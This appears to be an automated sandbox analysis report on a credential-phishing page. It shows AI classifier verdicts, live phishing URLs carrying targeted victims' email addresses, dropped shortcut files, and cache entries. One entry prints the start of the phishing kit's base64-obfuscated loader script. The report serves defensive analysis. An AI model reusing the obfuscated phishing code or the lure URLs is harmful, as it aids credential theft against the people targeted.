URL: file:///C:/Users/user/Desktop/ATT71725.html Model: jbxai	{ "brand":["X"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Sign in with Google", "text_input_field_labels":["Sign in with Google", "Sign in with Apple", "Phone", "email", "username"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://fzxwdafuws.ministeriojesus.org/n6drat55y/iu89908445/?pln=by50eW1jaGVua29AZ21zLXdvcmxkd2lkZS5jb20= Model: jbxai	{ "phishing_score":8, "brands":"X", "legit_domain":"ministeriojesus.org", "classification":"unknown", "reasons":["The URL 'fzxwdafuws.ministeriojesus.org' contains a subdomain 'fzxwdafuws' which is unusual and not typically associated with well-known brands.", "The main domain 'ministeriojesus.org' does not correspond to any well-known brand or service provider.", "The brand 'X' is not recognized and cannot be classified as 'known' or 'wellknown'.", "The presence of common sign-in options (Google, Apple) on an unknown domain is suspicious and often used in phishing attempts."], "brand_matches":[false], "url_match":false, "brand_input":"X", "input_fields":"Sign in with Google, Sign in with Apple, Phone, email, username"}

URL: https://bi6.biguncu.ru/onistf/#Go.tymchenko@gms-worldwide.com Model: jbxai	{ "brand":["X"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Sign in with Google", "text_input_field_labels":["Sign in with Google", "Sign in with Apple", "Phone", "email", "username"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://bi6.biguncu.ru/onistf/#Go.tymchenko@gms-worldwide.com Model: jbxai	{ "brand":["Globi"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Sign in with Google", "text_input_field_labels":["Sign in with Google", "Sign in with Apple", "Phone", "email", "username"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://bi6.biguncu.ru/onistf/#Go.tymchenko@gms-worldwide.com Model: jbxai	{ "phishing_score":8, "brands":"X", "legit_domain":"unknown", "classification":"unknown", "reasons":["The URL 'bi6.biguncu.ru' does not match any well-known or known brand.", "The domain 'biguncu.ru' is not associated with any recognized brand.", "The presence of multiple sign-in options (Google, Apple) is common in phishing sites to lure users.", "The URL contains a subdomain 'bi6' which does not provide any clear indication of legitimacy.", "The domain extension '.ru' is not inherently suspicious but requires further scrutiny given the context."], "brand_matches":[false], "url_match":false, "brand_input":"X", "input_fields":"Sign in with Google, Sign in with Apple, Phone, email, username"}

URL: https://bi6.biguncu.ru/onistf/#Go.tymchenko@gms-worldwide.com Model: jbxai	{ "phishing_score":9, "brands":"unknown", "legit_domain":"unknown", "classification":"unknown", "reasons":["The brand is unknown and cannot be determined from the URL.", "The URL 'bi6.biguncu.ru' does not match any well-known or known brand domains.", "The domain 'biguncu.ru' is unusual and not associated with any known brands.", "The presence of multiple sign-in options (Google, Apple) on an unknown domain is suspicious.", "The use of a Russian domain extension (.ru) for a site that offers sign-in with Google and Apple is unusual and raises suspicion."], "brand_matches":[], "url_match":false, "brand_input":"unknown", "input_fields":"Sign in with Google, Sign in with Apple, Phone, email, username"}

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Sep 27 09:48:01 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9709471195989297
Encrypted:	false
SSDEEP:
MD5:	D66F8DA9DF2009D0D6437D8FB763653C
SHA1:	54F0CAF088FF3F8EB97DF6510C530A70556C1B3D
SHA-256:	C1072E8E8340E27905ABC1D64BD289204A058E4A2FBDBCE54D18F75B1CFD86FD
SHA-512:	67591524031A71E40071C368934AE81EE005382C5B0B755DBA2F963AD038C6FB76CF3B5EEA98C798FB8D97BBE06B0D126F55337F330C8B239CA50BD00E9B5518
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....n......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I;Y.U....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V;Y.V....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V;Y.V....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V;Y.V..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V;Y.V...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........T........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Sep 27 09:48:01 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.9918678267639174
Encrypted:	false
SSDEEP:
MD5:	43473009D33D44149A9637118FAADCBA
SHA1:	3034D2A6FEBA7B2B0F5A120893365A29AE435D74
SHA-256:	421231F7EEF5BFCB1149BDAE7F6C6FF4612841337E9B39BECA13D633C6718E09
SHA-512:	62DD78C7C33DF9DCB3C1F1E939D8B57E42B4A4AA5C768E96DDF42E63448D9DA164722215B0160D734885727EBA00DE8A5513EE18163557B72043797C60A26864
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....u.......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I;Y.U....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V;Y.V....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V;Y.V....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V;Y.V..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V;Y.V...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........T........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	3.9991704834381783
Encrypted:	false
SSDEEP:
MD5:	A505A56422F8BEB0BEA4917589AA15A5
SHA1:	0C71BC7A87F44F585D7B155EA741054916E03637
SHA-256:	07162D3CA227A0B8A8DB78DF54C3EC4B5CE30023325AFE0D116B6CA1144326F1
SHA-512:	BFAFEC3068DCEF4EE8D1A22F52A936ACC7848F8A4F6B6FE24351BFDBCDEB8F6420E8197C61CB663F37477139890B53D6BC42F6D3B63A4E686CC082E362A176B0
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I;Y.U....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V;Y.V....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V;Y.V....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V;Y.V..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........T........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Sep 27 09:48:00 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9869638060673145
Encrypted:	false
SSDEEP:
MD5:	EF5CC7D618AA1CF91DCD179922C79281
SHA1:	CF168C93735A6BA03E9354450B3480FDD1083F3F
SHA-256:	CCFD2610B34270CF030E8A8D1B13C0FE2D1BA96E0843B028FE31794667F30560
SHA-512:	B86E8AF5936932DA692CD524DE482A914FF1503C4F2763A50EFBEB897B2F7968BD2EB8ACA900960197BF201615A13CB5514221C618C8E604F013784C21B8CF53
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....F.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I;Y.U....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V;Y.V....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V;Y.V....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V;Y.V..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V;Y.V...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........T........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Sep 27 09:48:01 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9787310612037254
Encrypted:	false
SSDEEP:
MD5:	6BCEBB8EE1DF8734B94EDDA09A79541E
SHA1:	5AFDAB98D4674818AD5DB013EA44727EA4EAB63B
SHA-256:	CF54D6290591627070670E7B39075F1EF68796AE33F12A2E1181B8D3237836BE
SHA-512:	EBD162F6AA4108528A85E228F1E0C20BA815E8485FE5657ECF403EC98F3F388FE3F4610B801D9235CDC0EC4678F94450B5EE2972364EA14F3972F07C61ADD481
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,............N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I;Y.U....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V;Y.V....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V;Y.V....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V;Y.V..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V;Y.V...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........T........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Sep 27 09:48:00 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.985689288012853
Encrypted:	false
SSDEEP:
MD5:	9FD18F72DE3C9252746AABF4D4E1CB6D
SHA1:	EB20DE4ADD265FA9C0EE575584ED55F5EB72B51A
SHA-256:	A9A57DE17E66DE1BF03EEC7155A7C0D0EF28740C57513982BF9029526DDFE6B5
SHA-512:	4EE8FC871AEA4F39FA4DD385ABF5C0983A198BB1AFDA058968587052074F474058D9B7D0EF39AB192D43A78346C35746CB2B5A212DBCA2659EC473F57F17F877
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....E.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I;Y.U....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V;Y.V....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V;Y.V....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V;Y.V..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V;Y.V...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........T........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1231
Entropy (8bit):	7.679133230091575
Encrypted:	false
SSDEEP:
MD5:	626F203A11359F894DED1E1D3AEF16BD
SHA1:	2E0CBE6E4534FCA0E21EDEB06BBCE7665B0889E7
SHA-256:	7A7FE60D15091D7B3C26738199A7F7C14617966A8EB56271E9B95E2EDABBDA90
SHA-512:	67CF9DEAEACFA955622221F56CC0A32A0CEC6BFA0A24FB8F3C536CA5FE2D527EDC83326384A722C02399439AF59B9F9AA2B632E4089EE4E19136251B87901BDA
Malicious:	false
Reputation:	unknown
URL:	https://cdn-images.mailchimp.com/icons/social-block-v3/block-icons-v3/twitter-icon-light-40.png
Preview:	.PNG........IHDR...P...P............pHYs.................sRGB.........gAMA......a....dIDATx..m.0....<...G....... ...........A#$.\|..H...(.%Ry....O..G...B...)....b.....{..?.6.@....dz..Qk.Q.C<..r.>.+.pg1..r...7..b5.!...ub...&.u.O?q.x\|.6\|..a...x\|..v/..p})<.cj.....9......Qy..........n#S.l4.wF.9.......sgP<..l<gw0..r..<..].A\).,...J@..'.Yd~JTFe<.J...Yd.A,A.[?f....sf.............Gc{.U,JeJ....z.O......~..+....l.so..S(.Y..v..:...k^.k..%.JB..LSy.N.rc]p.K...rg..L..\.YK.....`.....Me.+V ......$...J...]...{.05.. S.#.....%W......sM.F...d..1.L...^iw...%..e.<..^hS.\I.W.x...}.....m.. .i.....k.....p.kC..=.....p..9...-WR....F}gC.R.P.\I.2..^.{\............N.....+)...?...-K.+..}..hS%..............{)f.M.....C.!...iQ........{)f.M......B.jT..R...O....i..Df4(4.(.\..x..'.Fxx)...(....+<.7.Gel!.Wx.on.... ..^J.T.v2h..43;.5$/.}c.]...@..,RB..H.]A.6.....H.]...a..n."`f.J.....K.h!.@f..........v........kW..8d.........G.f]T.@.-.y..R..A.R[.R.8.....JmqHi.Jp......D...............

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1192 x 806, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	75645
Entropy (8bit):	7.2668320793175765
Encrypted:	false
SSDEEP:
MD5:	D02A1D876E92FA6BC4BBBB97EB39C513
SHA1:	D7B64A29B04336AB83B745DF95A2FB9AE5D3E29E
SHA-256:	145D0C6F552D53BDBA3EF6F241FC2722FA1FB270A4E0E1AD8FFF08AB5F80BDEC
SHA-512:	63722C5FDDB4B54EEA856620BDAF26DF32ABAF6931B69750B80510C2AEE8193E336A38CBF5D3D1B72F6150E7AA5C0025589EFFA00F1A44321A3D32027B5D8FD1
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......&............pHYs...#...#.x.?v.. .IDATx.b...?.(..T..........b...Q@U..........MT............"9Qm.....Q1............".M.+!.^..8TB7(,...U...{.$```......"Qm...... .Cz....9.@..]l4q..000......"6Q.U4XK+l....&...........b.V...b......E%..........V....K.h..000...................4s4q..........."iD.=a.t..EbB....D............4.HL.`4q............R.j ..:.M\.............j0$&t0..p............j0&&t0...............*(,....................T.j(&&t0..............j8$&t0b............D5...:.q............D5...:.1...........k......n...x.....POG..............K..Sbj\.jq...P2)M..............i....=...`O3...>.[.X.......000.....`.%...........I..Cb.J.D,.G.5l...........j..Cb"9..,.v..v.....kt.V.k..>..y.{..U-b``.......UIEuC..lJw.........N........v................"=jE...E.-c.}.]t.%I..?\|.!.....b...........fRh`)R.....{..fcMXP7}....98..H.Y4..y..c``........rbrr7..E...........!.T.(......A\|............m...Q4X..>;.Z.@b..H.8....f-}.n...........n.u.....\|%....D.k..p..j/.'. ...J..8.@./$&<..$$

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
Reputation:	unknown
URL:	https://iontuition.us20.list-manage.com/track/open.php?u=3864594c0beba7cf01a2fb737&id=77cd759325&e=db8bade7a9
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (6413), with CRLF line terminators
Category:	downloaded
Size (bytes):	17331
Entropy (8bit):	5.8957062783421605
Encrypted:	false
SSDEEP:
MD5:	B28F4DA775FF075D29D40AE3102B65BC
SHA1:	4FF316DB96F16D986B9D49BF554CD5C5697167BC
SHA-256:	D0F93770F0B0560D32233595309737E8D2F78D819819B57DB50AFE1571A9B97E
SHA-512:	89A1E607353CD7047821802307027F8F56725D956B786407465C7029A425D080F7144912725E7B6C0989354BF4DD947C214C45892362E6A6FEAB26CBDDE6CFBE
Malicious:	false
Reputation:	unknown
URL:	https://bi6.biguncu.ru/onistf/
Preview:	<script>..if("https://HbWkqp.biguncu.ru/onistf/" == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCjwhLS0gPGRpdj5UaGUgc3VjY2Vzc2Z1bCB3YXJyaW9yIGlzIHRoZSBhdmVyYWdlIG1hbiwgd2l0aCBsYXNlci1saWtlIGZvY3VzLjwvZGl2PiAtLT4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMy42LjAubWluLmpzIj48L3NjcmlwdD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jaGFsbGVuZ2VzLmNsb3VkZmxhcmUuY29tL3R1cm5zdGlsZS92MC9hcGkuanM/cmVuZGVyPWV4cGxpY2l0Ij48L3NjcmlwdD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY3J5cHRvLWpzLzQuMS4xL2NyeXB0by1qcy5taW4uanMiPjwvc2NyaXB0Pg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9RWRnZSxjaHJvbWU9MSI+DQogICAgPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyI+DQogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPg0KICAgIDx0aXRsZT4mIzgyMDM7PC90aXRsZT4NCiAgICA8c3R5bGU+DQpib2R5IHsNCiAgYmFja2dyb3VuZC1jb2xv

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1920 x 1080, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2403819
Entropy (8bit):	7.990971553143596
Encrypted:	true
SSDEEP:
MD5:	5CAB57AB902E8BE223FFBB4A8B09AA91
SHA1:	9F01B3B734BCB0106742170FCFD5EF0E981C4420
SHA-256:	F50828B113C86C80E283F89DB2E981B9440E699436FA43AD00BEFBA33581D1E5
SHA-512:	544BC60CD2D0B1E90A1D94E43142027921FA4ECA992E1ACE1403E75CF3A18D2355D60368F3419DFE493438637396E24BDE4F2974005EDD3F6011CB7EBD7392C1
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......8........C....sRGB....... .IDATx^.}.zc.q.&..s....$r..........W.R....=..3C.{wW.u._.......t:.........8^...~.....\|9....t.........u.^N..q\|.3//...X.\|.g\|...o~..G.......k.............>...y\|~..~Wk../....r.....q....r._..xn...Y4.k].n...........x!.NE...8.k.....}..g.W...[..\|:..:G..{.g....^t...g{..l....{/..X.....?.....H..............Z7y....<......)h.:......iy:......Z.y.......N...@........s.D..r.....K..b^....J._X....}zsOs.X..o...,RdB....0.Q.......J..\.....H....\|...uV<.:.:?.....?.s..~...}... .z..Qt/2.s).X....y...>......&.=....h.g..,.P.C?Q.x.'m....W...a..^...3..........8MG{>.y............q..#....3...?.:..n.9..W.?~&tY..,}&.{..u&......(.i..:.Y............^......g..7....2.sj.X..?.......D/..G.....Z1.........}\^N.]....e....K...{x.l.d...o.....>.k.A4....-.9...3...}:..w...g.;u...t.uz}.{ .,\|).6:.O)...D.)..!~X...g.Av......3...1.(..z..{"...{_'\|.v...E.y:....x.hj.Xz..u?h...J.p.....8S...@..7.h....1../........z.......\|.S.5.y.Q..}N..t

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 400 x 600, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	200932
Entropy (8bit):	7.99412264928497
Encrypted:	true
SSDEEP:
MD5:	B2B88BA55931DEF6210F68593F149817
SHA1:	28723E5B1C105B9EED35B2F15B6D3509149F8532
SHA-256:	191EEAB2F6BDC534F84DDAE1963207F3531708DC4992717E2F77F9C8DEEF3B08
SHA-512:	40CA8779C75782935B600B1CBF22257B8B58D5C8D6BA85A45B78413A4954255C62C028149D8884F178329450D590204D56CCF1BD8AE48D7C5CB667A2396BD9EF
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......X.....L.....sRGB....... .IDATx^.].XT......H.".ba..]...Zk...v..........k7(..."%....=...\|...:..<<..s...w..T*...).).).).)...p..H...9.8.8.8...8.pF.........$.p..$..8.8.8.8.8.p..........$.p..$..8.8.8.8.8.p..........$.p..$..8.8.8.8.8.p..........$.p..$..8.8.8.8.8.p..........$.p..$..8.8.8.8.8.p..........$.p..$..8.8.8.8.8.p..........$.p..$..8.8.8.8.8.p..........$.p..$..8.8.8.8.8.p..........$.p..$.e..R..u.....".o........u.....%.1h~...0..g.m.$.^.3rzw....... ...._v..v/m.%.;.{......{.wR.4....&.>.].5.M.. .9?....r...NLLDxx8.y...h$$$ ===.L.\|...Z...T.....-..GS.j.~.].9...}...e'.5..!A(...'..&....&.h..6A+.kv4...\/....\8?....$...'.h..p..x.xU&.1.O...O<&.... .........??.155e...G<..\r.r.........v....g.....aaa...DDD..........$. .p.?.C.S,...8;aMB"'!..ZM!.I......0....i......r.F.......L.....k.h.c.m...P......9.sN..M..x[.@.k."./h ....0...akk.{{{.&vvvpvv.........F...\v.t........A.x..)._..{..! .._.f..i...D....8k.&......O.o......v.b.N0i.B..YSPg'..g...9.....;....

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	unknown
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (6649), with CRLF line terminators
Category:	downloaded
Size (bytes):	17803
Entropy (8bit):	5.9038871671309545
Encrypted:	false
SSDEEP:
MD5:	73A2DCFD04CE81E83E8043E282728A57
